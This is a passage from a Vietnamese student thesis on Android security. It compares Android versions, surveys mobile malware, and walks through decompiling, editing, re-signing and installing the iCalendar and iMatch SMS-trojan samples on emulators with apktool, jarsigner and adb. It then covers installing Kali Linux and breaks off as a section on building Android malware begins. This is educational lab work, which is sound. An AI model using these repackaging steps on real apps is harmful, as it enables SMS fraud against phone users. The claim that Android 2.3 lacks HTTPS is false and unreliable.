  • 32. GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH 32 Hình 19. Máy ảo Android khởi động hoàn tất. Thực hiện tương tự để tạo Android phiên bản 4.x. 1.6 So sánh sự khác nhau giữa hai phiên bản Android 2.3 và 4.x. 1.6.1. Sự khác nhau về yêu cầu phần cứng cần thiết để cài đặt. Android 2.3 (Gingerbread) Android 4.0 (Ice Cream Sandwich) Cần ít nhất 128MB bộ nhớ có sẵn cho kernel và cho không gian người sử dụng. Cần ít nhất 340MB bộ nhớ có sẵn cho kernel và cho không gian người sử dụng. Dung lượng RAM tối thiểu cần thiết là 150MB. Dung lượng RAM tối thiểu cần thiết là 350MB.
  • 33. GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH 33 Màn hình: - Màn hình phải có kích cỡ ít nhất 2,5 inch. - Độ phân giải màn hình ít nhất là 100 dpi. - Tỉ lệ màn hình từ 1.333 (4:3) đến 1,779 (16:9). - Công nghệ màn hình được sử dụng là công nghệ “square pixels”. Màn hình: - Màn hình phải có kích cỡ ít nhất 426x320dp. - Độ phân giải màn hình ít nhất là 120 dpi. - Tỉ lệ màn hình từ 1.3333 (4:3) đến 1,85 (16:9) . Yêu cầu có các phím vật lý. Không yêu cầu có các phím vật lý. Các API Android bao gồm trình quản lý download các ứng dụng có thể sử dụng để tải dữ liệu. Trình quản lý download phải có khả năng tải tập tin có dung lượng ít nhất 55MB. Các API Android bao gồm trình quản lý download các ứng dụng có thể sử dụng để tải dữ liệu. Trình quản lý download phải có khả năng tải tập tin có dung lượng ít nhất 100MB. Kiểm tra hiệu suất dựa trên thời gian mở ứng dụng (performance matrics): - Trình duyệt: ít hơn 1300ms. - MMS/SMS: ít hơn 700ms. - Báo thức: ít hơn 650ms. Kiểm tra hiệu suất dựa trên thời gian mở ứng dụng (performance matrics): - Trình duyệt: ít hơn 1300ms. - MMS/SMS: ít hơn 700ms. - Cài đặt: ít hơn 700ms. 1.6.2. Sự khác nhau về giao diện. Giao diện người dùng của Android dựa trên nguyên tắc tác động trực tiếp, sử dụng cảm ứng chạm tương tự như những động tác ngoài đời thực như vuốt, chạm, kéo dãn và thu lại để xử lý các đối tượng trên màn hình. Sự phản ứng với tác động của người dùng diễn ra gần như ngay lập tức, nhằm tạo ra giao diện cảm ứng mượt mà, thường dùng tính năng rung của thiết bị để tạo phản hồi rung cho người dùng. Những thiết bị phần cứng bên trong như gia tốc kế, con quay hồi chuyển và cảm biến khoảng cách được một số ứng dụng sử dụng để phản hồi một số hành động khác của người dùng, ví dụ như điều chỉnh màn hình từ chế độ hiển thị dọc sang chế độ hiển thị ngang tùy theo vị trí của thiết bị, hoặc cho phép người dùng lái xe đua bằng xoay thiết bị, giống như đang điều khiển vô-lăng. Các thiết bị Android sau khi khởi động sẽ hiển thị màn hình chính, điểm khởi đầu với các thông tin chính trên thiết bị, tương tự như khái niệm desktop (bàn làm việc) trên máy tính để bàn. Màn hính chính Android thường gồm nhiều biểu tượng (icon) và tiện ích (widget); biểu tượng ứng dụng sẽ mở ứng dụng tương ứng, còn tiện ích hiển thị những
  • 34. GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH 34 nội dung sống động, cập nhật tự động như dự báo thời tiết, hộp thư của người dùng, hoặc những mẩu tin thời sự ngay trên màn hình chính. Màn hình chính có thể gồm nhiều trang xem được bằng cách vuốt ra trước hoặc sau, mặc dù giao diện màn hình chính của Android có thể tùy chỉnh ở mức cao, cho phép người dùng tự do sắp đặt hình dáng cũng như hành vi của thiết bị theo sở thích. Những ứng dụng do các hãng thứ ba có trên Google Play và các kho ứng dụng khác còn cho phép người dùng thay đổi "chủ đề" của màn hình chính, thậm chí bắt chước hình dáng của hệ điều hành khác như Windows Phone chẳng hạn. Phần lớn những nhà sản xuất, và một số nhà mạng, thực hiện thay đổi hình dáng và hành vi của các thiết bị Android của họ để phân biệt với các hãng cạnh tranh. Ở phía trên cùng màn hình là thanh trạng thái, hiển thị thông tin về thiết bị và tình trạng kết nối. Thanh trạng thái này có thể "kéo" xuống để xem màn hình thông báo gồm thông tin quan trọng hoặc cập nhật của các ứng dụng, như email hay tin nhắn SMS mới nhận, mà không làm gián đoạn hoặc khiến người dùng cảm thấy bất tiện. Trong các phiên bản đời đầu, người dùng có thể nhấn vào thông báo để mở ra ứng dụng tương ứng, về sau này các thông tin cập nhật được bổ sung theo tính năng, như có khả năng lập tức gọi ngược lại khi có cuộc gọi nhỡ mà không cần phải mở ứng dụng gọi điện ra. Thông báo sẽ luôn nằm đó cho đến khi người dùng đã đọc hoặc xóa nó đi. Android 2.3 (Gingerbread) Android 4.0 (Ice Cream Sandwich) Giao diện đơn giản. Giao diện tinh tế hơn, trong suốt và đẹp mắt hơn. Chỉ hỗ trợ phím ảo là phím Home. Hỗ trợ các phím ảo: Home, Back, zoom Không có widget menu. Có widget menu giúp tìm nhanh thông tin mà không cần mở ứng dụng. 1.6.3. Sự khác nhau về tính năng. Android 2.3 (Gingerbread) Android 4.0 (Ice Cream Sandwich) Thiết kế tối ưu hóa cho smartphones. Thiết kế tối ưu hóa cho cả smartphones và tablets. Chỉ có thể xóa tất cả các thông báo cùng lúc trên trình quản lí thông báo. Có thể xóa riêng rẽ từng thông báo trên trình quản lí thông báo. Chỉ có thể trả lời, ngắt cuộc gọi khi màn hình bị khóa. Có thể thực hiện thêm một số tính năng khi màn hình bị khóa ngoài trả lời, ngắt cuộc gọi như gửi tin nhắn... Không có tính năng mở khóa màn hình nhận diện khuôn mặt (face unlock). Có tính năng mở khóa màn hình nhận diện khuôn mặt (face unlock)
  • 35. GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH 35 Không hỗ trợ chỉnh sửa hình ảnh. Hỗ trợ phần mềm chỉnh sửa hình ảnh, tự động nhận diện được tất cả các camera trên thiết bị. 1.6.4. Sự khác nhau về giao thức mạng. Android 2.3 (Gingerbread) Android 4.0 (Ice Cream Sandwich) Không hỗ trợ giao thức https Hỗ trợ giao thức https 2. Mã độc trên Android. 2.1. Định nghĩa: Mã độc là một đoạn code được đưa vào phần mềm nhằm thay đổi các thực thi của hệ điều hành hoặc các chương trình bảo vệ máy tính mà không cần sự cho phép của người sử dụng. Bằng cách này, phần mềm có chứa mã độc sẽ:  Phá hoại hệ thống máy tính như xóa, sửa, làm hỏng file, dữ liệu….  Phát tán thư rác.  Lợi dụng máy tính của bạn làm công cụ tấn công các hệ thống mạng máy tính khác.  Đánh cắp thông tin: thông tin về địa chỉ mail, thông tin cá nhân, tài khoản ngân hàng, thẻ tín dụng,…. 2.2. Mã độc trong môi trường Android: 2.2.1. Android là một môi trường lý tưởng cho mã độc phát triển.  Phần lớn các smartphone đều hỗ trợ các ứng dụng email, internet baking…Sử dụng các ứng dụng này đồng nghĩa với việc cung cấp thông tin cá nhân.  Android hiện tại giữ vị trí số một trong các hệ điều hành dành cho smartphone và máy tính bảng.  Android là một hệ điều hành mã nguồn mở.
  • 36. GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH 36 2.2.2. Phân loại mã độc Android. Có nhiều cách phân loại khac nhau như: Troy Vennon dựa vào cách hoạt động lây nhiễm của mã độc đã chia ra làm bốn loại, K.H.Khan & M.N.Tahir phân loai mã độc làm 6 nhóm. Theo trang web forenics chuyên nghiên cứu về mã độc dựa vào mục tiêu của mã độc để chia ra làm 9 họ: Đánh cấp thông tin cá nhân 51,3% Gửi tin nhắn trái phép (IMEL,..) 30,1% Botnet(spam, thư rác,..) 23,5% Truy cập Root 18,3% Tải từ Google-Play 11,3% Cài đặt các ứng dụng khác 10,4% Đánh cấp định vị của người dùng 8,7% Cài đặt các ứng dụng hỗ trợ hacker 7,8% Trojans (tiếp cận các dịch vụ ngân hàng trực tiếp) 3,5% 2.3. Thực trạng Theo thống kê được thực hiện dựa trên số liệu từ hệ thống giám sát virút của Bkav, chỉ trong năm tháng đầu năm 2014, phần mềm bảo vệ smartphone Bkav Mobile Security đã cập nhật 621.000 mã độc mới xuất hiện, vượt xa số lượng 528.000 của cả năm 2013. Đặc biệt, mỗi ngày có 262.000 điện thoại bị nhiễm loại mã độc gửi tin nhắn SMS đến đầu số tính phí. “Đây là các đầu số thu phí 15.000 đồng/tin nhắn, tính ra mỗi ngày người sử dụng VN bị “móc túi” số tiền khổng lồ lên
  • 37. GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH 37 tới hơn 3,9 tỉ đồng”, báo cáo của Bkav kết luận. Thực tế, số tiền các loại virút “móc túi” người dùng smartphone có thể hơn gấp nhiều lần vì có rất nhiều điện thoại bị nhiễm virút trong một thời gian dài nhưng chủ nhân không nhận biết và cũng không có biện pháp kiểm tra, theo dõi. Một báo cáo mới vừa được công bố, cho thấy mức độ nghiêm trọng của mã độc trên Android - hệ điều hành di động phổ biến nhất thế giới có đến 99,9% số lượng mã độc mới được phát hiện trong quý I năm 2013 được thiết kế để nhắm đến nền tảng Android. Đây là một con số báo động về tình trạng mã độc trên nền tảng di động của Google vừa được hãng bảo mật Kaspersky Lab công bố. Phần lớn trong số các loại mã độc trên Android là virus trojan, một dạng virus chủ yếu để sử dụng để đánh cắp tiền của người dùng bị lây nhiễm bằng cách gửi đến họ những tin nhắn lừa đảo, đọc lén các thông tin cần thiết và gửi báo cáo đến nơi khác, ăn cắp thông tin như là mật khẩu và số thẻ tín dụng, cài đặt lén các phần mềm chưa được cho phép, ….. Loại mã độc này chiếm đến 63% tổng số các loại mã độc mới được phát tán trên Android trong quý I năm 2013. Các nhà nghiên cứu bảo mật của Kaspersky cũng báo cáo một sự bùng nồ về số lượng các mã độc hại trên di động. Theo đó chỉ tính riêng trong 3 tháng đầu năm 2013, Kaspersky đã phát hiện được số lượng mã độc mới trên các nền tảng di động bằng tổng số lượng mã độc được phát hiện trong cả năm 2012 mà Android là nền tảng chịu ảnh hưởng nặng nhất. Với việc Android tiếp tục trở thành “mồi ngon” của hacker trong việc phát tán các loại mã độc, có vẻ như Android đang dần trở thành một “Windows thứ 2” trên lĩnh vực bảo mật, khi sự phổ biến của nền tảng này đang thu hút tối đa sự chú ý của các tin tặc, đồng thời việc quản lý các ứng dụng cho Android một cách lỏng lẻo càng tạo điều kiện cho mã độc được phát tán dễ dàng hơn trên nền tảng di động này. Bên cạnh lĩnh vực mã độc trên nền tảng di động, báo cáo về tình trạng bảo mật trong quý 1/2013 của Kaspersky cũng cho biết 91% các vụ phát tán mã độc chủ yếu dựa vào việc phát tán các đường link trang web có chứa mã độc. Các đường link có chứa mã độc này chủ yếu được phát tán thông qua email và trên các mạng xã hội như Facebook, Twitter… Đây được xem là biện pháp được yêu thích nhất hiện nay của hacker. Con số cụ thể các loại mã độc (bao gồm cả trên nền tảng di động và các nền tảng khác) đã được Kaspersky phát hiện và vô hiệu hóa trong quý I năm 2013 là 1.345.570..352 mã độc (hơn 1 tỉ mã độc). Trong đó có hơn 60% các loại mã độc phát tán từ 3 quốc giá: Mĩ (25%), Nga (19%) và Hà Lan (14%).
  • 38. GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH 38 2.4. Malware – tiêu biểu của trên Android. Đã không còn chỉ là mối lo ngại với người sử dụng máy tính, hiện nay Malware đã và đang tấn công mạnh mẽ đến các hệ điều hành dành cho smartphone, đặc biệt là Android. Malware (phần mềm ác tính) viết tắt của cụm từ Malicious Sofware, là một phần mềm máy tính được thiết kế với mục đích thâm nhập hoặc gây hỏng hóc máy tính mà người sử dụng không hề hay biết. Người viết nên nó ban đầu chỉ tập trung vào máy tính, nhất là Windows khi nó chiếm đến 90% tổng số Malware xuất hiện trên các nền tảng, bên cạnh đó là các OS khác như Linux, Chrome OS, MacOs... nhưng không đáng kể. Tuy nhiên giờ đây khi smartphone đang ngày càng phát triển và phổ biến dần thay thế máy tính từ các công việc soạn thảo văn bản, giải trí đến giao dịch ngân hàng thì nó trở thành mục tiêu tấn công của Malware. Theo thống kê của các hãng bảo mật trên thế giới thì hiện các Malware hiện nay mới chỉ dừng lại ở mức độ xâm nhập và ăn cắp thông tin của người dùng và nó chưa có cơ chế lây lan. Theo các kết quả trên thì Malware trên Smartphone hiện nay về cách thức hoạt động giống như một phần mềm gián điệp (Trojan), phần lớn nhắm vào dịch vụ Mobile Banking trên Smartphone để lấy cắp thông tin, các thao tác xác nhận... thông qua việc sử dụng SMS Spy, tức là theo dõi tin nhắn SMS khi bạn thực hiện giao dịch với ngân hàng. Bên cạnh đó là nhằm vào các cuộc gọi thực hiện trên máy bạn, tắt một số dịch vụ để dễ kiểm soát. 2.4.1. Cơ chế hoạt động của Malware. Lấy một ví dụ cụ thể về 1 Malware rất phổ biến trong thời gian vừa qua đó là Malware DroidDream. Malware này hoạt động qua 2 giai đoạn:  Giai đoạn 1: DroidDream được nhúng vào trong một ứng dụng (số lượng ứng dụng chứa Malware này hiện đã nhiều hơn 50 ứng dụng) và sẽ chiếm được quyền root vào thiết bị của bạn ngay sau khi bạn chạy ứng dụng đó trong lần sử dụng đầu tiên.  Giai đoạn 2 : Tự động cài đặt một ứng dụng thứ 2 với một permission đặc biệt cho phép quyền uninstall. Một khi các ứng dụng thứ 2 được cài đặt, nó có thể gửi các thông tin nhạy cảm tới một máy chủ từ xa và âm thầm tải thêm các ứng dụng khác Một khi DroidDream chiếm được quyền root, Malware này sẽ chờ đợi và âm thầm cài đặt một ứng dụng thứ hai, DownloadProviderManager.apk như một ứng dụng hệ thống. Việc cài đặt ứng dụng hệ thống này nhằm ngăn ngừa người dùng xem hoặc gỡ bỏ cài đặt các ứng dụng mà không được phép. Không giống như giai đoạn 1, người dùng phải khởi động ứng dụng để bắt đầu việc lây nhiễm, ở giai đoạn thứ 2 ứng dụng tự động làm một số việc như là confirm, checkin….Một điều
  • 39. GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH 39 nữa khiến cho bạn không thể biết chúng hoạt động lúc nào, đó là Malware DroidDream này được lập trình để làm hầu hết các công việc của mình vào khoảng thời gian từ 11h đêm tới 8h sáng ngày hôm sau. Đây là khoảng thời gian mà điện thoại ít có khả năng được sử dụng nhất. Điều này làm cho người dùng khó khăn hơn trong việc phát hiện một hành vi bất thường trên chiếc smartphone của mình. 2.4.2. Mục đích của Malware DroidDream DroidDream được coi là một trong những Malware đầu tiên trên Android, mục đích của con DroidDream này mới chỉ dừng lại ở mức độ làm cho chiếc điện thoại của người dùng tự động cài đặt những ứng dụng chứa mã độc khác. Tuy nhiên các biến thể của nó đã kịp thời biến đổi để gây ra các mối nguy hại lớn hơn rất nhiều. Ví dụ như Hippo SMS được tìm thấy mới đây có khả năng tự gửi tin nhắn mà không cần sự cho phép của người dùng, việc này sẽ khiến tiền cước phí của người dùng tăng lên một cách chóng mặt mà người dùng không biết rõ lí do tại sao. Hoặc một Malware khác là Zitmo, Malware này đưa ra các ứng dụng kích hoạt mọi hành động liên quan đến dịch vụ ngân hàng, tiếp nhận SMS gửi đến và chuyển tới máy chủ. Các đoạn code dùng 1 lần mà các ngân hàng thường gửi tới khách hàng thông qua tin nhắn SMS để chứng thực sẽ bị thu thập bởi các malware này. Hiện nay còn có một số Malware còn có khả năng nghe lén tất cả các cuộc điện thoại. Vấn đề này thực sự nguy hiểm khi tất cả các vấn đề riêng tư của chúng ta đang bị một theo dõi, vì vậy những mối nguy hiểm từ mã độc trên android đang thực sự đe dọa đến an sự an toàn của người dùng hệ điều hành này. 2.5. Cơ chế bảo mật trong Android. 2.5.1. Tính bảo mật trong Android  Các ứng dụng android được tách biệt với nhau trong quá trình thực thi.  Các ứng dụng android được phân biệt bởi system ID.  Các ứng dụng android phải được signing mới có thể cài đặt vào hệ thồng.  Bảo mật trong android được thể hiện qua cơ chế “Permission” 2.5.2. Cơ chế Permission: Bất cứ những tác vụ nào gây ảnh hưởng cho các ứng dụng khác, hệ điều hành và người sử dụng thiết bị đều đươc bảo vệ bởi cơ chế Permission, ví dụ như đọc gửi tin nhắn, truy cập mạng, thực hiện cuộc gọi, truy cập vào thông tin cá nhân,..Nói cách khác người lập trinh ứng dụng sẽ
  • 40. GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH 40 khai báo Permission cho những nguông tài nguyên này sẽ được thông báo đến người dùng trước khi cài đặt ứng dụng. 2.5.3. Google Play: Kiểm soát các mã độc trên ứng dụng. 3. Cài đặt một số chương trình có mã độc trên Android. 3.1. iCalendar iCalendar là 1 chương trình dạng lịch xuất xứ từ Trung Quốc có gắn kèm mã độc thực hiện gửi 1 tin nhắn đến 1 số điện thoại định trước mà không thông qua sự cho phép của người dùng. 3.1.1. Các công cụ cần thiết:  Apktool : https://code.google.com/p/android- apktool/downloads/list)  dex2jar : https://code.google.com/p/dex2jar/)  id-gui : https://code.google.com/p/innlab/downloads/detail?name=jd-gui- 0.3.3.windows.zip&can=2&q=)  File iCalendar.apk: http://securityxploded.com/demystifying-android-malware.php  Hai máy ảo Android (xem hướng dẫn tạo máy ảo ở trên). 3.1.2. Các bước thực hiện: B1. Dùng phần mềm 7-Zip giải nén file iCalendar,rồi vào đó copy file classes.dex vào folder chứa công cụ dex2jar.
  • 41. GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH 41 Hình 20 : Folder iCalendar B2. Vào CommanWindow di chuyển đến folder chứa công cụ dex2jar thực hiện câu lệnh: dex2jar classes.dex để chuyển file classes.dex thành file .jar ta thu được file classes_dex2jar.jar .
  • 42. GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH 42 Ta thu được folder smali có chứa các file source code ứng dụng Hình 24: file iCalendar.smali và SmsReceiver.smali B5.Sửa các thông số ở 2 file iCalendar.smali và SmsReceiver.smali để thực hiện trên thiết bị giả lập. Hình 25: Sửa thông số line 252
  • 43. GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH 43 Hình 26: Sửa thông số line 41 B6. Vào CommandWindow thực hiện câu lệnh sau để đóng gói lại ứng dụng iCalendar đã được chỉnh sửa và ta thu được gói iCalendar.apk mới ở thư mục:…apktooliCalendardist: apktool b iCalendar Hình 27: Lệnh đóng gói của apktool thực hiện thành công
  • 44. GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH 44 B7. Di chuyển đến thư mục …java/bin (có chứa gói iCalendar.apk vừa mới tạo ra ở bước 6) và thực hiện 3 câu lệnh sau để verify gói apk này có thể sử dụng được trên thiết bị, các bước thực hiện từng câu lệnh ta sẽ thực hiện theo hướng dẫn trên CommandWindow, kết quả ta thu được như hình 10: + keytool -genkey -v -keystore iCalendar-iCalendar.keystore -alias iCalendar -keyalg RSA -keysize 2048 -validity 10000 + jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore iCalendar-iCalendar.keystore iCalendar.apk iCalendar + jarsigner -verify -verbose -certs iCalendar.apk Hình 28: gói apk verified thành công
  • 45. GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH 45 B8. Dùng lệnh sau để cài đặt ứng dụng vào thiết bị giả lập (ở đây ta cài đặt vào thiết bị 5554): adb -s emulator-5554 install iCalendar.apk Hình 29: Lệnh cài đặt ứng dụng vào thiết bị giả lập thành công B9.Kiểm tra kết quả trên thiết bị. Hình 30 : Ứng dụng iCalendar đã được cài đặt
  • 46. GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH 46 B10.Thực hiện kích hoạt Trojan gửi tin nhắn từ thiết bị 5554 sang thiết bị 5556.Kết quả thành công . Hình 31: Android02 nhận được tin nhắn từ iCalendar. 3.2. iMatch Tương tự như iCalendar, iMatch cho phép gửi tinh nhắn trái phép khi mã độc bị kích hoạt. Điểm khác nhau ở đây là iMatch là một ứng dụng game và mã độc có thể gửi bốn tin nhắn cho 4 số điện thoại giống hoặc khác nhau. 3.2.1. Các công cụ cần thiết:  Super Apk tool: https://code.google.com/p/super-apk-tool/  iMatch : http://contagiodump.blogspot.com/2011/03/take-sample-leave-sample-mobile- malware.html  Hai máy ảo Android (xem hướng dẫn tạo máy ảo ở trên). 3.2.2. Các bước thực hiện: Thực hiện tương tự như với iCalendar.apk nhưng thay thế bằng file iMatch.apk. Tại bước View Smali Code ta vào tiếp theo đường dẫn .commjutils ta được
  • 47. GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH 47 Hình 32. Thư mục untils. Mở file MJUtils.smali bằng Notepad hoặc Notepad++ và thực hiện đổi số điện thoại người nhận và nội dung tin nhắn tại bốn vị trí sau : Hình 33. Nội dung tin nhắn 1. Hình 34. Nội dung tin nhắn 2.
  • 48. GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH 48 Hình 35. Nội dung tin nhắn 3. Hình 36. Nội dung tin nhắn 4. Sau khi lưu lại ta buil và nhận được kết quả Hình 37. Kết quả chạy chương trình iMatch. Ta thấy khi ứng dụng iMatch tai máy Android01 được khởi động thì có bốn tin nhắn được gửi đến máy Android02 (vì ở đây thiết đặt bốn số điện thoại đến giống nhau là máy Android02). 4. Nghiên cứu Kali Linux, cách tạo mã độc trên Kali Linux để xâm nhập vào máy Android
  • 49. GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH 49 4.1. Tổng quan Kali Linux là một hệ điều hành được xây dựng trên nhân Linux, được thiết kế để kiểm tra bảo mật, thử nghiệm xâm nhập các hệ thống máy tính. Tiền thân của Kali Linux là BackTrack, xuất hiện năm 2006 và được các chuyên gia đánh giá bảo mật ưa chuộng sử dụng. Sau 7 năm liên tục phát triển, tháng 3 năm 2013, hãng Offensive Security đã công bố phiên bản mới của BackTrack có thên là Kali Linux (được xem như phiên bản BackTrack 6). Kali Linux tập hợp và phân loại gần như tất cả các công cụ thiết yếu mà bất kì chuyên gia đánh giá bảo mật nào cũng cần sử dụng khi tác nghiệp. 4.2. Cải tiến của Kali Linux so với Backtrack.  Kali phát triển trên nền tảng hệ điều hành Debian Điều này có nghĩa Kali có rất nhiều ưu điểm. Đầu tiên là các Repository (Kho lưu trữ phần mềm) được đồng bộ hóa với các Repository của Debian nên có thể dễ dàng có được các bản cập nhật vá lỗi bảo mật mới nhất và các cập nhật Repository. Duy trì cập nhật (up-to-date) đối với các công cụ Penetration Test là một yêu cầu vô cùng quan trọng. Một lợi thế khác là mọi công cụ trong Kali đều tuân theo chính sách quản lý gói của Debian. Điều này có vẻ không quan trọng nhưng nó đảm bảo rõ ràng về mặt cấu trúc hệ thống tổng thể, nó cũng giúp cho chúng ta có thể dễ dàng hơn trong việc xem xét hoặc thay đổi mã nguồn của các công cụ.  Tính tương thích kiến trúc Một ưu điểm quan trọng trong Kali là nó đã cải tiến khả năng tương thích với kiến trúc ARM. Từ khi Kali xuất hiện, nhiều phiên bản ấn tượng đã được tạo ra. Giờ đây ta có thể build Kali trên một Raspberry Pi hoặc trên Samsung Galaxy Note.  Hỗ trợ mạng không dây tốt hơn Một trong những vấn đề được các nhà phát triển Kali chú trọng nhiều nhất, chính là sự hỗ trợ cho một số lượng lớn phần cứng bên trong các thiết bị mạng không dây hay USB Dongles. Một yêu cầu quan trọng khi các chuyên gia bảo mật thực hiện đánh giá mạng không dây.  Khả năng tùy biến cao Kali rất linh hoạt khi đề cập đến giao diện hoặc khả năng tuỳ biến hệ thống. Đối với giao diện, giờ đây người dùng đã có thể chọn cho mình nhiều loại Desktops như GNOME, KDE hoặc XFCE tùy theo sở thích và thói quen sử dụng.
  • 50. GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH 50  Dễ dàng nâng cấp giữa các phiên bản Kali trong tương lai Đối với bất cứ ai sử dụng Kali, đây là một tính năng quan trọng khi bảo trì hệ điều hành Kali. Với BackTrack, bất kỳ lúc nào khi phiên bản mới được công bố thì chúng ta đều phải cài lại mới hoàn toàn (Ngoại trừ phiên bản R2 lên R3). Giờ đây với Kali, nhờ vào sự chuyển đổi sang nền tảng hệ điều hành Debian, Kali đã dễ dàng hơn trong việc âng cấp hệ thống khi phiên bản mới xuất hiện, người dùng không phải cài lại mới hoàn toàn nữa 4.3. Cài đặt Kali Linux 4.3.1. Chuẩn bị.  File iso Kali Linux: http://www.kali.org/downloads/  Máy có cài sẵn Vmware. 4.3.2. Cài đặt. Trước tiên cần tải về file ISO phiên bản mới nhất của Kali Linux trên link dưới, bài này ta sẽ tiến hành cài phiên bản Kali Linux 64 bit. http://www.kali.org/downloads/ Hình 38. Nhấp vào link để down file iso của Kali Tất nhiên ta cần phải có Vmware, việc tải và cài đặt Vmware rất dễ dàng, ta có thể tìm trên mạng. Sau khi có file ISO ta bắt đầu tiến hành cài đặt lên máy ảo.
  • 51. GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH 51 Bắt đầu thiết lập các thông số cho wmware: Tùy vào cấu hình máy tính các bạn có thể lựa chọn các bản Kali linux khác nhau và thiết lập cấu hình máy ảo. Cấu hình máy ảo tối thiểu: 8g ổ cứng và 512 Mb ram. Một số lưu ý khi sử dụng vmware: Lỗi chế độ card bright set auto có thể khiến máy ảo không ra được mạng.Nên thiết lập như hình dưới. menu->edit- >vitualeditor Hình 39. Chọn card mạng cho VMnet0 Mở VMware, chọn File ở góc phải trên màn hình, chọn New Virtual Machine... . Trên cửa sổ mới mở, chọn custom và nhấn next
  • 52. GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH 52 Hình 40. Chọn phương thức cài đặt Tiếp tục nhấn next đến khi yêu cầu chọn file ISO thì ta chọn ISO của kali đã tải trước đó: Hình 41. Chọn phần cứng máy ảo
  • 53. GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH 53 Hình 42.Chọn cách cài hệ diều hành Hình 43. Chọn loại Hệ điều hành sẽ cài
  • 54. GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH 54 Hình 44. Chọn đường dẫn lưu máy ảo Hình 45. Chọn số nhân sẽ sử dụng trong máy ảo
  • 55. GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH 55 Hình 46. Chọn lượng ram sẽ sử dụng trong máy ảo Hình 47. Chọn cách kết nối mạng là Bridged
  • 56. GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH 56 Hình 48. Chọn loại điều khiển nhập xuất Hình 49. Chọn loại đĩa sẽ được tạo
  • 57. GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH 57 Hình 50. Chọn cách thức sử dụng đĩa Hình 51. Chọn dung lượng tối đa của đĩa
  • 58. GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH 58 Hình 52. Tìm đường dẫn đến file iso Kali Linux. B2.Tiến hành cài đặt: Start máy ảo: Chọn chế độ install graphic.
  • 59. GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH 59 Hình 53. Cài đặt Kali Linux Hình 54 .Chọn Ngôn Ngữ.
  • 60. GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH 60 Hình 55. Bắt đầu tiến trình cài Hình 56.Đặt tên Hostname
  • 61. GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH 61 Hình 57. Đặt tên Domain name Hình 58. Đặt password cho user root
  • 62. GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH 62 Hình 59. Tùy chọn ổ đĩa. Hình 60. Chọn ổ đĩa cài đặt.
  • 63. GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH 63 Hình 61. Phương thức cài đặt ổ đĩa. Hình 62. Xác nhận thông số cài đặt
  • 64. GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH 64 Hình 63. Xác nhận định dạng ổ đĩa. Hình 64. Cài đặt bắt đầu.
  • 65. GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH 65 Kết thúc quá trình install bạn chọn như hình dưới: Hình 65. Tìm kiếm cập nhật qua internet. Ở đây nếu chọn Yes tiến trình sẽ kiểm tra có hay không bản cập nhật qua mạng. Ta chọn No để nhanh chóng cài đặt (có thể cập nhật sau khi cài đặt xong). Hình 66. Xác nhận cài đặt GRUD.
  • 66. GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH 66 Tiếp theo tiến trình sẽ hỏi có cài đặt và sử dụng GRUB để khởi động không. Ta chọn Yes => Continue. Hình 67. Xác nhận cài đặt thành công. Thông báo xác nhận Kali Linux Đã cài đặt xong. Ta chọn Continue tiến trình sẽ thực hiện xoa một số file dư thừa sau khi cài đặt rồi khởi động lại.Sau khi hoàn tất phần cuối và khởi động lại, đến giao diện login ta nhập user là root và password đã đặt ở phần trước.Vậy là ta đã hoàn tất cài đặt kali linux trên Vmware Hình 68. Giao diện Kali linux
  • 67. GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH 67 4.4. Tạo mã độc trên Kali Linux để xâm nhập Android. Trước khi tiến hành ta nên thiết lập phần Network như sau: Vào VM => Settings... ở thanh lựa chọn của Vmware Vào Network Adapter và chọn Bridged: connection directly to the physical network
  • 68. GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH 68 Vào Edit => Virtual Network Editor... Trên phần Bridge (connect VMs directly to the external network) chọn adapter của máy thật
